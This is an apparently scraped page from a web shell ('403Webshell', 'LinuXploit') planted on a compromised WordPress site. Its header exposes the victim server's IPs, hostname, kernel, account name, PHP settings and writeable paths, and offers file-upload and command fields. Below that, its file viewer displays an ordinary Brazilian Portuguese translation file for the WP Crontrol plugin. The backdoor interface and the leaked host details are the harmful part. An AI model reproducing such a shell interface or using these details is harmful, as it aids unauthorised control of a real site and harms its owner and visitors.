403Webshell
Server IP : 10.19.1.101  /  Your IP : 216.73.216.158
Web Server : Apache
System : Linux web1f13.kinghost.net 5.4.282-1.el8.elrepo.x86_64 #1 SMP Mon Aug 19 18:33:22 EDT 2024 x86_64
User : schererimoveisrs ( 170628)
PHP Version : 7.4.33
Disable Function : apache_child_terminate,c99_buff_prepare,c99_sess_put,dl,exec,leak,link,myshellexec,openlog,passthru,pclose,pcntl_exec,php_check_syntax,php_strip_whitespace,popen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,system,socket_listen,socket_create_listen,putenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/schererimoveisrs/www/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/schererimoveisrs/www/wp-content/languages/plugins/wp-crontrol-pt_BR.po
# Translation of Plugins - WP Crontrol - Stable (latest release) in Portuguese (Brazil)
# This file is distributed under the same license as the Plugins - WP Crontrol - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2023-05-01 14:52:01+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.11\n"
"Language: pt_BR\n"
"Project-Id-Version: Plugins - WP Crontrol - Stable (latest release)\n"

#. translators: 1: Date and time, 2: Timezone
#: src/bootstrap.php:1564 src/bootstrap.php:1709
msgid "Site time when page loaded: %1$s (%2$s)"
msgstr "Hora do site quando a página foi carregada: %1$s (%2$s)"

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1643
msgid "Resumed the %s hook."
msgstr "O gancho %s retomado."

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1638
msgid "Paused the %s hook."
msgstr "O gancho %s pausado."

#: src/bootstrap.php:636 src/bootstrap.php:678
msgid "You are not allowed to pause or resume cron events."
msgstr "Sem permissão para pausar ou retomar eventos cron."

#. translators: 1: The name of the cron event.
#: src/event.php:302
msgid "Failed to resume the cron event %s."
msgstr "Não foi possível retomar o evento cron %s."

#. translators: 1: The name of the cron event.
#: src/event.php:271
msgid "Failed to pause the cron event %s."
msgstr "Não foi possível pausar o evento cron %s."

#. translators: State of a cron event, adjective
#: src/event-list-table.php:521
msgid "Paused"
msgstr "Pausado"

#: src/event-list-table.php:241
msgid "Paused events"
msgstr "Eventos pausados"

#. translators: %s: Function name
#: src/bootstrap.php:1904
msgid "Function %s does not exist"
msgstr "A função %s não existe"

#: src/bootstrap.php:1647
msgid "An unknown error occurred."
msgstr "Ocorreu um erro desconhecido."

#: src/bootstrap.php:739
msgid "Could not save CSV file."
msgstr "Não foi possível salvar o arquivo CSV."

#: src/event-list-table.php:299
msgid "Export"
msgstr "Exportar"

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1589
msgid "Scheduled the cron event %s to run now. The original event will not be affected."
msgstr "O evento cron %s está agendado para executar nesse momento. O evento original não será mudado."

#: src/bootstrap.php:874 src/bootstrap.php:904 src/bootstrap.php:922
msgid "Help"
msgstr "Ajuda"

#. translators: %s: URL to the documentation
#: src/bootstrap.php:866
msgid "<a href=\"%s\">Read the WordPress.org documentation on WP-Cron</a> for more technical details about the WP-Cron system for developers."
msgstr "<a href=\"%s\">Leia a documentação do WordPress.org sobre WP-Cron</a> para mais detalhes técnicos para desenvolvedores sobre o sistema WP-Cron."

#. translators: %s: URL to the documentation
#: src/bootstrap.php:859
msgid "<a href=\"%s\">Read the Frequently Asked Questions (FAQ)</a> which cover many common questions and answers."
msgstr "<a href=\"%s\">Leia as perguntas frequentes (FAQ)</a> que cobrem muitas perguntas e respostas comuns."

#. translators: %s: URL to the documentation
#: src/bootstrap.php:852
msgid "<a href=\"%s\">Read the WP Crontrol wiki</a> which contains information about events that have missed their schedule, problems with spawning a call to the WP-Cron system, and much more."
msgstr "<a href=\"%s\">Leia o wiki do WP Crontrol</a> que contém informação sobre eventos que perderam às suas programações, problemas com chamadas ao sistema do WP-Cron e muito mais."

#: src/bootstrap.php:847
msgid "There are several places to get help with issues relating to WP-Cron:"
msgstr "É possível achar ajuda com WP-Cron em vários lugares:"

#: src/event-list-table.php:482
msgid "This is a WordPress core event and cannot be deleted"
msgstr "Este é um evento do núcleo de WordPress e não pode ser excluído"

#: src/event-list-table.php:240
msgid "Custom events"
msgstr "Eventos personalizados"

#: src/event-list-table.php:239
msgid "WordPress core events"
msgstr "Eventos do núcleo de WordPress"

#: src/event-list-table.php:238
msgid "Events with no action"
msgstr "Eventos sem ação"

#: src/event-list-table.php:237
msgid "All events"
msgstr "Todos os eventos"

#: src/event.php:141
msgid "Invalid timestamp provided."
msgstr "A impressão de horário fornecida é inválida."

#. translators: 1: The name of the cron event.
#: src/event.php:113 src/event.php:194
msgid "Failed to schedule the cron event %s."
msgstr "Não foi possível agendar o evento cron %s."

#. translators: 1: The name of the cron event.
#: src/event.php:74 src/event.php:376
msgid "The cron event %s could not be found."
msgstr "Não foi possível achar o evento cron %s."

#: src/event-list-table.php:694
msgid "No matching cron events."
msgstr "Nenhum evento cron correspondente."

#. translators: %s: Help page URL.
#: src/event-list-table.php:100
msgid "One or more cron events have missed their schedule."
msgstr "Um ou mais eventos cron perderam o agendamento."

#: src/bootstrap.php:1688
msgid "Add New"
msgstr "Adicionar novo"

#: src/bootstrap.php:1404
msgid "Event Type"
msgstr "Tipo de evento"

#: src/bootstrap.php:1297
msgid "The event you are trying to edit does not exist."
msgstr "O evento que você tenta de editar não existe."

#: src/bootstrap.php:1172 src/bootstrap.php:1200 src/event-list-table.php:102
msgid "More information"
msgstr "Mais informações"

#. translators: %s: Help page URL.
#: src/bootstrap.php:1170
msgid "PHP default timezone is not set to UTC. This may cause issues with cron event timings."
msgstr "O fuso horário padrão do PHP não está definido como UTC. Isso pode causar problemas com o tempo de eventos cron."

#: src/bootstrap.php:85
msgctxt "verb"
msgid "Sponsor"
msgstr "Patrocinar"

#. translators: 1: The name of the configuration constant, 2: The value of the
#. configuration constant
#: src/event-list-table.php:672 src/schedule-list-table.php:201
msgid "This interval is less than the %1$s constant which is set to %2$s seconds. Events that use it may not run on time."
msgstr "Este intervalo é menor que a constante %1$s, que está definida como %2$s segundos. É possível que eventos usando este intervalo não executarão na hora."

#: src/event-list-table.php:692
msgid "There are currently no scheduled cron events."
msgstr "Não tem eventos cron agendados no momento."

#. translators: %s: Time period, for example "8 minutes"
#: src/event-list-table.php:635
msgid "%s ago"
msgstr "%s atrás"

#. translators: 1: Line number, 2: Error message text
#: src/event-list-table.php:542
msgid "Line %1$s: %2$s"
msgstr "Linha %1$s: %2$s"

#: src/event-list-table.php:489
msgid "Select this row"
msgstr "Selecionar esta linha"

#. translators: %s: UTC offset
#: src/event-list-table.php:174
msgid "Next Run (%s)"
msgstr "Próxima execução (%s)"

#: src/event-list-table.php:170
msgid "Hook"
msgstr "Hook"

#: src/schedule-list-table.php:234
msgid "There are no schedules."
msgstr "Não há agendamentos."

#: src/schedule-list-table.php:120
msgid "This schedule is added by another plugin and cannot be deleted"
msgstr "Este agendamento foi adicionada por outro plugin e não pode ser excluída"

#: src/schedule-list-table.php:118 src/schedule-list-table.php:154
msgid "This is a WordPress core schedule and cannot be deleted"
msgstr "Este agendamento é do núcleo de WordPress e não pode ser excluída"

#. translators: %s: Schedule name
#: src/event.php:423
msgid "Unknown (%s)"
msgstr "Desconhecido (%s)"

#: src/bootstrap.php:1696
msgid "Search Hook Names"
msgstr "Pesquisar nomes dos ganchos"

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1633
msgid "Failed to save the cron event %s."
msgstr "Não foi possível salvar o evento cron %s."

#: src/bootstrap.php:1628
msgid "Deleted the selected cron events."
msgstr "Os eventos cron selecionados foram excluídos."

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1614
msgid "Deleted the cron event %s."
msgstr "O evento cron %s foi excluído."

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1609
msgid "Created the cron event %s."
msgstr "O evento cron %s foi criado."

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1604
msgid "Saved the cron event %s."
msgstr "O evento cron %s foi salvo."

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1599
msgid "There are no %s cron events to delete."
msgstr "Não há nenhum evento cron %s para excluir."

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1594
msgid "Deleted all %s cron events."
msgstr "Todos os eventos cron %s foram excluídos."

#: src/bootstrap.php:1370 src/bootstrap.php:1804
msgid "Edit Cron Event"
msgstr "Editar evento cron"

#: src/bootstrap.php:1349
msgid "Add Event"
msgstr "Adicionar evento"

#: src/bootstrap.php:1336
msgid "Update Event"
msgstr "Actualizar evento"

#. translators: 1: The name of the plugin that controls the running of cron
#. events.
#: src/bootstrap.php:1087
msgid "WP-Cron spawning is being managed by the %s plugin."
msgstr "O processamento do WP-Cron está sendo gerenciado pelo plugin %s."

#. translators: 1: The name of the cron schedule.
#: src/bootstrap.php:961
msgid "Added the cron schedule %s."
msgstr "O agendamento cron %s foi adicionado."

#. translators: 1: The name of the cron schedule.
#: src/bootstrap.php:956
msgid "Deleted the cron schedule %s."
msgstr "O agendamento cron %s foi excluído."

#: src/bootstrap.php:899
msgid "Schedules"
msgstr "Agendamentos"

#: src/bootstrap.php:894
msgid "Events"
msgstr "Eventos"

#. translators: %s: An input field for specifying a date and time
#: src/bootstrap.php:1518
msgid "At: %s"
msgstr "A: %s"

#: src/bootstrap.php:1509
msgid "Tomorrow"
msgstr "Amanhã"

#: src/bootstrap.php:1503
msgid "Now"
msgstr "Agora"

#: src/bootstrap.php:506 src/bootstrap.php:558
msgid "You are not allowed to delete PHP cron events."
msgstr "Não tem permissão para excluir eventos cron PHP."

#: src/bootstrap.php:253 src/bootstrap.php:337
msgid "You are not allowed to edit PHP cron events."
msgstr "Não tem permissão para editar eventos cron PHP."

#. translators: 1, 2, and 3: Example values for an input field.
#: src/bootstrap.php:1480
msgid "Use a JSON encoded array, e.g. %1$s, %2$s, or %3$s"
msgstr "Use um array codificado em JSON, por exemplo, %1$s, %2$s ou %3$s"

#. translators: The PHP tag name
#: src/bootstrap.php:1431
msgid "The opening %s tag must not be included."
msgstr "A tag de abertura %s não pode ser incluída."

#: src/schedule-list-table.php:122
msgid "This custom schedule is in use and cannot be deleted"
msgstr "Este agendamento personalizado está sendo utilizado e não pode ser excluído"

#. Author URI of the plugin
msgid "https://github.com/johnbillion/wp-crontrol/graphs/contributors"
msgstr "https://github.com/johnbillion/wp-crontrol/graphs/contributors"

#. Author of the plugin
msgid "John Blackbourn & crontributors"
msgstr "John Blackbourn e colaboradores"

#. translators: 1: The name of the PHP cron event.
#: src/event-list-table.php:509
msgid "PHP Cron (%s)"
msgstr "PHP Cron (%s)"

#: src/event-list-table.php:177
msgid "Action"
msgstr "Ação"

#: src/bootstrap.php:1573
msgid "You cannot add, edit, or delete PHP cron events because your user account does not have the ability to edit files."
msgstr "Você não pode adicionar, editar ou excluir eventos do PHP Cron porque sua conta de usuário não tem a capacidade para editar arquivos."

#. translators: %s Timezone name.
#: src/bootstrap.php:1538
msgid "Timezone: %s"
msgstr "Fuso horário: %s"

#: src/bootstrap.php:1470
msgid "Arguments (optional)"
msgstr "Argumentos (opcional)"

#: src/bootstrap.php:1443
msgid "Event Name (optional)"
msgstr "Nome do evento (opcional)"

#. translators: %s: A file name
#: src/bootstrap.php:1313
msgid "Cron events trigger actions in your code. A cron event needs a corresponding action hook somewhere in code, e.g. the %1$s file in your theme."
msgstr "Os eventos Cron disparam ações em seu código. Um evento Cron precisa de um gancho de ação correnpondente em algum lugar do seu código. Ex: o arquivo %1$s em se tema."

#: src/bootstrap.php:1309
msgid "Cron events trigger actions in your code. Enter the schedule of the event, as well as the PHP code to execute when the action is triggered."
msgstr "Os eventos Cron disparam ações em seu código. Informe o agendamento do evento, assim como o código PHP a ser executado quando a ação for disparada."

#. translators: 1: The name of the PHP constant that is set.
#: src/bootstrap.php:1104
msgid "The %s constant is set to true."
msgstr "A constante %s está definida como 'true' (verdadeiro)."

#. translators: 1: The name of the PHP constant that is set.
#: src/bootstrap.php:1096
msgid "The %s constant is set to true. WP-Cron spawning is disabled."
msgstr "A constante %s está definida como 'true' (verdadeito). Os subprocessos no WP-Cron estão inativos."

#. translators: 1: The HTTP response code.
#: src/bootstrap.php:1137
msgid "Unexpected HTTP response code: %s"
msgstr "Código de resposta HTTP inesperado: %s"

#: src/bootstrap.php:996 src/bootstrap.php:1018
msgid "Add Cron Schedule"
msgstr "Adicionar agendamento do Cron"

#: src/bootstrap.php:824 src/bootstrap.php:825 src/bootstrap.php:1686
#: src/bootstrap.php:1768
msgid "Cron Events"
msgstr "Eventos Cron"

#: src/bootstrap.php:140 src/bootstrap.php:191
msgid "You are not allowed to add new PHP cron events."
msgstr "Você não pode adicionar novos eventos Cron."

#. Description of the plugin
msgid "WP Crontrol enables you to view and control what's happening in the WP-Cron system."
msgstr "WP Crontrol te permite visualizar e controlar o que está acontecendo no sistema WP-Cron."

#. Plugin URI of the plugin
msgid "https://wordpress.org/plugins/wp-crontrol/"
msgstr "https://br.wordpress.org/plugins/wp-crontrol/"

#. Plugin Name of the plugin
#: src/bootstrap.php:769 src/event-list-table.php:587
msgid "WP Crontrol"
msgstr "WP Crontrol"

#: src/bootstrap.php:1990
msgid "now"
msgstr "agora"

#. translators: 1: The number of seconds in an interval of time.
#: src/bootstrap.php:1986
msgid "%s second"
msgid_plural "%s seconds"
msgstr[0] "%s segundo"
msgstr[1] "%s segundos"

#. translators: 1: The number of minutes in an interval of time.
#: src/bootstrap.php:1984
msgid "%s minute"
msgid_plural "%s minutes"
msgstr[0] "%s minuto"
msgstr[1] "%s minutos"

#. translators: 1: The number of hours in an interval of time.
#: src/bootstrap.php:1982
msgid "%s hour"
msgid_plural "%s hours"
msgstr[0] "%s hora"
msgstr[1] "%s horas"

#. translators: 1: The number of days in an interval of time.
#: src/bootstrap.php:1980
msgid "%s day"
msgid_plural "%s days"
msgstr[0] "%s dia"
msgstr[1] "%s dias"

#. translators: 1: The number of weeks in an interval of time.
#: src/bootstrap.php:1978
msgid "%s week"
msgid_plural "%s weeks"
msgstr[0] "%s semana"
msgstr[1] "%s semanas"

#. translators: 1: The number of months in an interval of time.
#: src/bootstrap.php:1976
msgid "%s month"
msgid_plural "%s months"
msgstr[0] "%s mês"
msgstr[1] "%s meses"

#. translators: 1: The number of years in an interval of time.
#: src/bootstrap.php:1974
msgid "%s year"
msgid_plural "%s years"
msgstr[0] "%s ano"
msgstr[1] "%s anos"

#: src/event-list-table.php:391
msgid "Run now"
msgstr "Executar agora"

#: src/event-list-table.php:377
msgid "Edit"
msgstr "Editar"

#: src/bootstrap.php:761 src/bootstrap.php:1423 src/event-list-table.php:536
msgid "PHP Code"
msgstr "Código PHP"

#: src/bootstrap.php:228 src/bootstrap.php:347 src/event-list-table.php:511
msgid "PHP Cron"
msgstr "PHP Cron"

#: src/event-list-table.php:566 src/event-list-table.php:599
msgid "None"
msgstr "Nenhum"

#: src/bootstrap.php:1548 src/event-list-table.php:178
msgid "Recurrence"
msgstr "Recorrência"

#: src/bootstrap.php:1495
msgid "Next Run"
msgstr "Próxima execução"

#: src/bootstrap.php:1459
msgid "Hook Name"
msgstr "Nome do gancho"

#: src/event-list-table.php:171
msgid "Arguments"
msgstr "Argumentos"

#: src/bootstrap.php:1372 src/bootstrap.php:1799
msgid "Add Cron Event"
msgstr "Adicionar evento do Cron"

#. translators: 1: Error message text.
#: src/bootstrap.php:1196
msgid "There was a problem spawning a call to the WP-Cron system on your site. This means WP-Cron events on your site may not work. The problem was: %s"
msgstr "Houve um problema ao subprocessar uma chamada no sistema WP-Cron. Isto significa que os eventos WP-Cron no seu site podem não funcionar. O problema foi: %s"

#: src/bootstrap.php:1007
msgid "Interval (seconds)"
msgstr "Intervalo (segundos)"

#: src/bootstrap.php:1001 src/schedule-list-table.php:79
msgid "Internal Name"
msgstr "Nome interno"

#: src/bootstrap.php:997
msgid "Adding a new cron schedule will allow you to schedule events that re-occur at the given interval."
msgstr "Adicionar um novo evento de Cron permitirá que você agende eventos que se repetem no intervalo determinado."

#: src/event-list-table.php:221 src/event-list-table.php:429
#: src/schedule-list-table.php:131
msgid "Delete"
msgstr "Excluir"

#: src/bootstrap.php:1013 src/schedule-list-table.php:81
msgid "Display Name"
msgstr "Nome de Exibição"

#: src/schedule-list-table.php:80
msgid "Interval"
msgstr "Intervalo"

#: src/bootstrap.php:817 src/bootstrap.php:818 src/bootstrap.php:988
#: src/bootstrap.php:1772
msgid "Cron Schedules"
msgstr "Agenda do Cron"

#: src/bootstrap.php:601
msgid "You are not allowed to run cron events."
msgstr "Você não pode executar eventos Cron."

#: src/bootstrap.php:456 src/bootstrap.php:498 src/bootstrap.php:551
msgid "You are not allowed to delete cron events."
msgstr "Você não pode excluir eventos Cron."

#: src/bootstrap.php:441
msgid "You are not allowed to delete cron schedules."
msgstr "Você não pode excluir agendamentos Cron."

#: src/bootstrap.php:423
msgid "You are not allowed to add new cron schedules."
msgstr "Você não pode adicionar novos agendamentos Cron."

#: src/bootstrap.php:245
msgid "You are not allowed to edit cron events."
msgstr "Você não pode editar eventos Cron."

#: src/bootstrap.php:133
msgid "You are not allowed to add new cron events."
msgstr "Você não pode adicionar novos eventos Cron."

#: src/bootstrap.php:786 src/event-list-table.php:681 src/schedule.php:105
msgid "Non-repeating"
msgstr "Sem repetição"

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1619 src/event.php:240
msgid "Failed to the delete the cron event %s."
msgstr "Falha ao excluir o evento Cron %s"

#. translators: 1: The name of the cron event.
#: src/bootstrap.php:1624
msgid "Failed to the execute the cron event %s."
msgstr "Falha ao executar o evento Cron %s"

Youez - 2016 - github.com/yon3zu
LinuXploit